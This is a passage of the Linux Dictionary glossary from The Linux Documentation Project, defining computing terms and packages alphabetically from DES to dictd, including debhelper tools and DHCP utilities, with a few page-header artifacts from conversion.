A controversial IBM developed encryption technique that was adopted by the US government for non-classified information, and widely used by financial institutions to transfer large sums of money

electronically. Critics charge that DES technology was deliberately weakened so the government would be able to break DES-encoded messages when it chose to do so. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DES (Data Encryption Standard, FIPS 46-3)

In cryptography, DES (Data Encryption Standard) is the most popular algorithm for encrypting data. It is standardized by the United States government (ANSI X9.17) as well as the ISO. Key point: DES ushered in a new era of cryptography. Before DES, strong encryption was only available to large governments and militaries. Cryptography research was similarly limited. Anything that the average person might use could easily be cracked by a major government. DES created a well-defined, easily verifiable security architecture that was available to anyone. DES-capable products flooded the market. Beyond making encryption products available to anyone, DES essentially created the cryptographic community. Before DES researchers toiled away under government/big-business secrecy, After DES, cryptography became a normal computer-science subject. Whereas DES itself was developed by secretive government agencies (NSA) and mammoth corporations (IBM), DES's replacement will likely be created by relatively independent researchers and the cryptographic community as a whole. Contrast: As of the year 2000, DES has been supplanted by the newer AES. Because DES has only 56-bit keys, it can easily be cracked within hours. Contrast: An increasingly popular form of DES is Triple DES which increases the key strength to 112 bits. History: In September, 1998, a German court ruled DES "out of date and unsafe" for banking applications. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DESCBC

Data Encryption Standard/Cipher Block Chaining (DES), "DES/CBC" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DESE

[PPP] Data Encryption Standard Encryption protocol (PPP, RFC 1969) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DESIRE

DEsign by Simulation and REndering om parallel architectures [project] (ESPRIT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deskguide_applet

Desk Guide Applet for the GNOME panel. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

desklaunch

A small utility for creating desktop icons. DeskLaunch is a small utility for creating desktop icons using pixmaps. A simple click will launch the desired application. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

deskmenu

A root menu for X11 window managers DeskMenu is a root menu program which is activated by clicking the root window. It is configured from a .deskmenurc file in your home directory. DeskMenu is useful for window managers which do not provide a menu such as Oroborus. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Desktop

The operating system user interface, which is designed to represent an office desk with objects on it. Rather than physical telephones, lamps, in/out baskets, etc., the operating system desktop uses program and data icons, windows, taskbars, and the like. There are many different desktop environments available for Linux, including KDE, GNOME, and X11, that can be installed by a user. (Also, see GUI, Window manager and X Window System.) From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

desktop

Visual component of a graphical user interface upon which icons, programs, and other visual components appear. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

desktop manager

See graphical login. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Desktop Video

The merging of video, telephone, and computer technologies for the purpose of delivering multimedia information and telecommunication capabilities at the individual computer workstation. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

desktop-file-utils

.desktop files are used to describe an application for inclusion in GNOME or KDE menus. This package contains desktop-file-validate which checks whether a .desktop file complies with the specification at <http://www.freedesktop.org/standards/>, and desktop-file-install which installs a desktop file to the standard directory, optionally fixing it up in the process. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Desktop/LX

Lycoris, formerly Redmond Linux, has a distribution targeted toward Windows users that are ready for a change. Desktop/LX Update 2 was released July 29, 2002. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DESP

Data Element Standardization Program From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DESPR

Digital Ethernet Single Port Repeater (ethernet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DESRT

DEStek [group] Real Time (OS, Destek Group), "DES RT" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DESTA

Digital Ethernet thin-wire STation Adapter (ethernet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

detachtty

Attach/detach from interactive processes across the network detachtty lets you run interactive programs non-interactively, and connect to them over the network when you do need to interact with them. It's designed for long-running Lisp processes. Unlike screen, it works in emacs comint modes, and unlike qemu, it deals correctly with passing on a SIGINT sent to it. Needs ssh for operation over the net. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DETEBERKOM

DEutsche TELEkom BERliner KOMmunikationssystem, "DeTeBerkom" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Dettu[Xx]

"probably the worlds nastiest Linux-distribution" You get just enough tools to download everything you need over the internet and build the packages on your computer. Could be very educational. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEUNA

Digital Ethernet Unibus Network Adapter (ethernet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dev

The Red Hat Linux operating system uses file system entries to represent devices (CD-ROMs, floppy drives, etc.) attached to the machine. All of these entries are in the /dev tree (although they do not have to be). This package contains the most commonly used /dev entries. The dev package is a basic

part of your Red Hat Linux system and it needs to be installed. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dev86

The dev86 package provides an assembler and linker for real mode 80x86 instructions. You need to have this package installed in order to build programs that run in real mode from their sources, including LILO and the kernel's bootstrapping code. You should install dev86 if you intend to build programs that run in real mode from their source code. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DEVFS

DEVice File System (Linux, DRI), "DevFS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

devfsd

Daemon for the device filesystem This daemon sets up the /dev filesystem for use. It creates required symbolic links in /dev and also creates (if so configured, as is the default) symbolic links to the "old" names for devices. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

devfsd

The devfsd programme is a daemon, run by the system bootscripts which can provide for intelligent management of device entries in the Device Filesystem (devfs). As part of its setup phase devfsd creates certain symbolic links which are compiled into the code. These links are required by /usr/src/linux/Documentation/devices.txt. This behaviour may change in future revisions. devfsd will read the special control file .devfsd in mounted devfs, listening for the creation and removal of device entries (this is termed a change operation). For each change operation, devfsd can take many actions. The daemon will normally run itself in the background and send messages to syslog. The opening of the syslog service is automatically delayed until /dev/log is created. At startup, before switching to daemon mode, devfsd will scan the mounted device tree and will generate synthetic REGISTER events for each leaf node. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Device

Any hardware component or peripheral, such as a printer, modem, monitor, or mouse, that can receive and/or receive data. Some devices require special software, called device drivers. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

device

In Linux devices are accessed as files which are located in the /dev directory. The entries contains the device numbers used by the kernel. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Device Driver

A program that serves as an intermediary between the operating system and a device (ports, drives, monitors, printers, etc.) defining to the operating system what capabilities the device has and translating the operating system commands into instructions the device understands. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

device driver

code that controls and communicate with a device such as a graphics card, sound card or other peripherals. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

device driver

See device module. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Device independence

The capability of a program, operating system or programming language to work on a variety of computers or peripherals, despite their electronic variation. UNIX, an operating system for multiuser

computer systems, is designed to run on a wide variety of coputers, from personal computers to mainframes. PostScript, a page description language for high-quality printing, is used by many printer manufacturers. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

device module

Software that communicates directly with a computer hardware component or peripheral, allowing it to be used by the operating system; also referred to as a driver. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Device name

In DOS, a three-letter abbreviation that registers to a peripheral device. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Device node

An object in the hardware tree that represents a piece of hardware. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Devil-Linux

Devil-Linux is a special Linux distribution used for Firewalls and Routers. The goal of Devil-Linux is to have a small, customizable and secure Linux OS. It comes on a CDROM and saves configuration data on a floppy disk, and it has several optional packages. Devil-Linux 0.5RC1 (Beta) was released May 30, 2002. Devil-Linux 0.5 was released September 2, 2002. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

devscripts

Scripts to make the life of a Debian Package maintainer easier Contains the following scripts, dependencies/recommendations shown in brackets afterwards: – bts: A command-line tool for manipulating the BTS [www-browser, mailx] – dch, debchange: Automagically add entries to debian/changelog files – debclean: Purge a Debian source tree [fakeroot] – rebuild: Wrapper to build a package without having to su or worry about how to invoke dpkg to build using fakeroot. Also deals with common environment problems, umask etc. [fakeroot, lintian, gnupg] – debdiff: Compare two versions of a Debian package to check for added and removed files [wdiff] – debpkg: Dpkg wrapper to be able to manage/test packages without su [perl-suid] – debi, debc: Convenience scripts to install a package and display its contents – debit: Convenience script to install a package and run debian-test on it [debian-test] – debrelease: Wrapper around dupload or dput [dupload | dput, ssh] – dscverify: Verify the integrity of a Debian package from the .changes or .dsc files [gnupg, debian-keyring, libdigest-md5-perl] – debsign, debrsign: sign a .changes/.dsc pair without needing any of the rest of the package to be present; can sign the pair remotely or fetch the pair from a remote machine for signing [gnupg, debian-keyring, ssh] – dpkg-depcheck, dpkg-genbuilddeps: Determine the packages used during the build of a Debian package; useful for determining the Build-Depends control field needed [build-essential, strace] – grep-excuses: grep the update_excuses.html file for your packages [libwww-perl] – mergechanges: merge .changes files from a package built on different architectures – plotchangelog: view a nice plot of the data in a changelog file [libtimedate-perl, gnuplot] – uupdate: Integrate upstream changes into a source package [patch] – uscan: Scan upstream sites for new releases of packages [libwww-perl] Also included are a set of example mail filters for filtering mail from Debian mailing lists using exim, procmail, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

devtodo

hierarchical, prioritized todo list manager Manipulate and display a hierarchical (ie "subtasks") and prioritized list of things with a coloured CLI. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dexconf

generate XFree86 X server configuration file from debconf database values From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DF

Direction Flag (assembler) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DF

Disk Free (Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

df

reports the amount of disk space used by the specified files, and by each directory in the hierarchies rooted at the specified files. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFD

Data Flow Diagram / DatenFlussDiagramm (CASE, SA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFD

Deutsches FernerkundungsDatenzentrum (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFDSM

Data Facility Distributed Storage Management (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFG

Deutsche ForschungsGemeinschaft (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFI

Digital Facility Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFKI

Deutsches Forschungszentrum fuer Kuenstliche Intelligenz (org., KI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dfm

The Desktop-File-Manager for X11 DFM is a desktop-manager for linux and other UNIX-OS. Files are shown as icons and every folder has it's own window. The desktop-background is a special folder in the home-directory. The idea is to write a filemanager like the OS/2 WPS. Therefore, this filemanager is optimally used together with the window manager icewm and warp3 theme. It also works with well ratpoison or wmaker anyway. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFN

Deutsches ForschungsNetz [e.V.] (org., ISP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFNCERT

Deutsches ForschungsNetz Computer Emergency Response Team (DFN, Internet), "DFN CERT" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dfontmgr

GUI frontend for defoma, DEbian FOnt MANager. dfontmgr is a GUI frontend for defoma. You can see the fonts registered to defoma, their hints, their status (which applications they have succeeded or failed to register), the applications using defoma framework, information about the applications and the contents of their id-caches. You can also register a font by drag-and-drop a font file, which will generate as many hints as possible by asking you some questions, unregister a registered font, change hints of and re-register a registered font. If a defoma-aware application uses an id-cache and if there's an identifier conflict (which means some fonts provides the same identifier) in the id-cache, you can indicate which font should provide the identifier. GUI versions of some utilities in defoma and psfontmgr are also installed. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFP

Data Facility Product From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFP

Linux Dictionary

Digital Flat Panel [group / port] (LCD, org., Compaq, Acer, Fujitsu, ATI, Matrox, Samsung, ...) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFP

Distributed Functional Plane (IN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFPP

Digital Flat Panel Port (LCD, DFP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFS

Direct File System (Novell, Oracle) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFS

Distributed File System (DCE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFSA

Direct File System Access From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFSG

Debian Free Software Guildlines (Linux, Dabian) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFT

Discrete Fourier Transformation From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFT

Distributed Function Terminal (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFT

Drive Fitness Test (IBM, IDE, HDD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFU

Data File Utility (IBM, ADT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DFV

DatenFernVerarbeitung From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGA

Direct Graphics Access (XAA, X-Windows) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dga

test program for the XFree86-DGA extension From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGCC

DISA Global Control Center (DISA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGD

Deutsche Gesellschaft fuer Dokumentation [e.v.] (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dgipip

AMPRNet dynamic IPIP encapsulation routing daemon. This package provides both a client and server that implement the AMPRNet dynamic gateway routing protocol devised by Barry Siegfried, K2MF, and others. You will probably only make sensible use of this package if you are an amateur radio operator wishing to operate an encapsulating gateway. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGIS

Direct Graphics Interface Standard From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGP

Dissimilar Gateway Protocol From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGPS

Differential Global Positioning System (GPS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dgpsip

Correct GPS location with DGPS signal from internet Differential GPS is a technique to apply a correction factor from a known location to a GPS signal. This can substantially reduce the uncertainty in the GPS location. Normally the correction signal is acquired using a special radio receiver: dgpsip allow you to receive a DGPS signal via TCP/IP, and send it to the GPS connected to your serial port. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGS

Display GhostScript (GNU, GNUStep, PS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGSA

Defense Goal Security Architecture (mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DGUX

Data General / UniX (Unix), "DG/UX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DHCF

Distributed Host Command Facility (IBM, CCS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhclient

DHCP (Dynamic Host Configuration Protocol) is a protocol which allows individual devices on an IP network to get their own network configuration information (IP address, subnetmask, broadcast address, and more) from a DHCP server. The overall purpose of DHCP is to make it easier to administer a large network. To use DHCP on your network, install a DHCP service (or relay agent), and on clients run a DHCP client daemon. The dhclient package provides the ISC DHCP client daemon. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhclient

Dynamic Host Configuration Protocol Client From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhcp

DHCP (Dynamic Host Configuration Protocol) is a protocol which allows individual devices on an IP network to get their own network configuration information (IP address, subnetmask, broadcast address, etc.) from a DHCP server. The overall purpose of DHCP is to make it easier to administer a large network. The dhcp package includes the DHCP server and a DHCP relay agent. You should install dhcp if you want to set up a DHCP server on your network. You will also need to install the pump package, which provides the DHCP client daemon, on client machines. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DHCP

DHCP is a protocol like BOOTP (actually dhcpd includes much of the functionality of BOOTPD). It assigns IP addresses to clients based on lease times. DHCP is used extensively by Microsoft and more recently also by Apple. It is probably essential in any multi-platform environment.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhcp

DHCP server for automatic IP address assignment DHCP is a protocol like BOOTP (actually dhcpd includes much of the functionality of BOOTPD!). It assigns IP addresses to clients based on lease times. DHCP is used extensively by Microsoft and more recently also by Apple. It is probably essential in any multi-platform environment. Multiple Ethernet Interfaces are supported by this DHCP package. You need to run Linux 2.0.32 or later. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DHCP

Dynamic Host Configuration Protocol (TCP/IP, IETF, RFC 2131) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhcpd

Dynamic Host Configuration Protocol Server From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhcpdump

Parse DHCP packets from tcpdump This package provides a tool for visualization of DHCP packets as recorded and output by tcpdump to analyze DHCP server responses. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhcping

DHCP Daemon Ping Program This small tool provides an opportunity for a system administrator to perform a DHCP request to find out if a DHCP server is still running. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhhelp

online help system Read all documentation with a WWW browser. dhhelp builds a index of all installed HTML documentation. You don't need a WWW server to read the documentation. dhhelp offers a very fast search in the HTML documents. You can access the online help system with the dhhelp program or with your browser. The URL to point your browser at is <http://localhost/doc/HTML/index.html> if you have a WWW server installed or <file://localhost/usr/share/doc/HTML/index.html> if not. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhid

Dynamic Host Information System (DHIS) client With DHIS your machine gets a fully qualified domain name under a domain. Your host, even if dynamically IP assigned, may be reached while you are online through a single name recognised on the whole internet. People may, from the outside, connect to your machine's FTP, WWW, IRC, ... server as it is also possible for you to receive emails under that address. Many other purposes may be achieved with DHIS. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DHIS

Distributed Heterogeneous Information Systems From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DHTML

Dynamic HyperText Markup Language (HTML) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dhttpd

Minimal secure webserver. No cgi-bin support! As it doesn't run external programs, this webserver cannot be easily hacked. Does not need a permanent IP Address. Memory efficient. Low profile. Quick. Just transfers files. Can be run from a user account on high ports. No configuration necessary. It just works. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_builddeb

build debian packages From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_clean

clean up package build directories From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_compress

compress files and fix symlinks in package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_fixperms

fix permissions of files in package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_gencontrol

generate and install control file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_install

install files into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installchangelogs

install changelogs into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installcron

install cron scripts into etc/cron.* From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installdeb

install files into the DEBIAN directory From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installdebconf

install files used by debconf in package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installdefoma

install a defoma related scripts From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installdirs

create subdirectories in package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installdocs

install documentation into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installemacsen

register an emacs add on package From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installexamples

install example files into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installinfo

install and register info files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installinit

install init scripts into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installkpatches

install kernel patch into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installlogrotate

install logrotate config files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installman

install man pages into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installmanpages

old-style man page installer From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installmenu

install debian menu files into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installmime

install mime files into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installmodules

register modules with modutils From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installpam

install pam support files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installwm

register a window manager From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installxaw

install xaw wrappers config files into package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_installxfonts

register X fonts From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_link

create symlinks in package build directories From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_listpackages

list binary packages debhelper will act on From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_makeshlibs

automatically create shlibs file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_md5sums

generate DEBIAN/md5sums file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_movefiles

move files out of debian/tmp into subpackages From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_perl

calculates perl scripts & modules dependencies From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_shlibdeps

calculate shared library dependancies From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_strip

strip executables, shared libraries, and some static libraries From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_suidregister

obsolete suid registration program From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_testdir

test directory before building debian package From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_testroot

ensure that a package is built as root From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_testversion

ensure that the correct version of debhelper is installed From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dh_undocumented

make symlinks to undocumented.7.gz man page From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DI

Destination Index [register] (CPU, Intel, assembler) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIA

Deutsche Informatik Akademie (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dia

Diagram editor (common files) Dia is an editor for diagrams, graphs, charts etc. There is support for UML static structure diagrams (class diagrams), Entity-Relationship diagrams, network diagrams and much more. Diagrams can be exported to postscript. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dia

Diagram editor Dia is an editor for diagrams, graphs, charts etc. There is support for UML static structure diagrams (class diagrams), Entity-Relationship diagrams, network diagrams and much more. Diagrams can be exported to postscript. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIA

Document Interchange Architecture (IBM, CCS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dia2code

a dia-UML to C/C++/Java code generator dia2code is a code generator which uses UML diagrams produced by dia, and turns them into C, C++ or Java files. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Dial-up

It is using telephone lines or ISDN networks to connect your computer to the Internet. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Dial-Up Network

Connection to a network <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diald

dial on demand daemon for PPP and SLIP. Many sites use SLIP or PPP links to connect to other sites over phone lines. Normally these links must be explicitly turned on or off. diald can be used to bring a SLIP or PPP link up when there are Internet packets to be sent to another site, and to close the link down when it is idle. diald operates by starting a virtual link on a pseudo tty and setting up a route to the resulting interface. This interface is called the proxy. diald monitors the proxy to determine when to bring up a real communications link. When a real link is up diald routes packets from the proxy to the real link and monitors the real link to decide if it needs to be shut down. As well, if the link goes down unexpectedly diald will attempt to reestablish the link. The rules for controlling these operations are extensively configurable in run time startup files. Diald requires that you use either the ethertap interface (available in recent Linux kernels) or SLIP to provide the proxy interface. Thus, one or the

other of these interfaces is required for diald to work. Diald needs a program like "chat" or "expect" to actually dial. Sorry, "dip" cannot be used. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dialog

Dialog is a utility that allows you to show dialog boxes (containing questions or messages) in TTY (text mode) interfaces. Dialog is called from within a shell script. The following dialog boxes are implemented: yes/no, menu, input, message, text, info, checklist, radiolist, and gauge. Install dialog if you would like to create TTY dialog boxes. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dialog

Displays user-friendly dialog boxes from shell scripts This application provides a method of displaying several different types of dialog boxes from shell scripts. This allows a developer of a script to interact with the user in a much friendlier manner. The following types of boxes are at your disposal: yes/no Typical query style box with "Yes" and "No" answer buttons menu A scrolling list of menu choices with single entry selection input Query style box with text entry field message Similar to the yes/no box, but with only an "Ok" button text A scrollable text box that works like a simple file viewer info A message display that allows asynchronous script execution checklist Similar to the menu box, but allowing multiple selections radiolist Checklist style box allowing single selections gauge Typical "progress report" style box tail Allows viewing the end of files (tail) that auto updates background tail Similar to tail but runs in the background. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dialog box

A graphical box displayed on a desktop that lets the user communicate with the computer. A dialog box can be used to enter information, set options, or run commands. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIAMOND

Development and Integration of Accurate Mathematical Operations in Numerical Data-processing (ESPRIT) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIANE

Direct Access Network for Europe From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diatheke

CGI script for making bible website A command line utility for sword, and a cgi perl script that uses the utility to produce a bible browsing/searching website. From Debian 3.0r0 APT

Linux Dictionary

Drain Induced Barrier Lowering (IC, MOSFET) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIC

Digital Interface Controller From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DICE

Delivering Information in a Cellular Environment (SNI, Internet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DICF

Dictionary InterChange Format (DICT) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dict

Dictionary Client Dict is the client that queries the dictd server. Since it is TCP based, it can access servers on the local host, on a local network, or on the Internet. The DICT Development Group maintains several public servers which can be accessed from any machine connected to the Internet. The default configuration is to query one of these servers first, but this may be changed in the configuration file `/etc/dict.conf`. Queries may be customized by numerous command line options, including specifying the database(s) to be queried and the search strategy to be used. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dictd

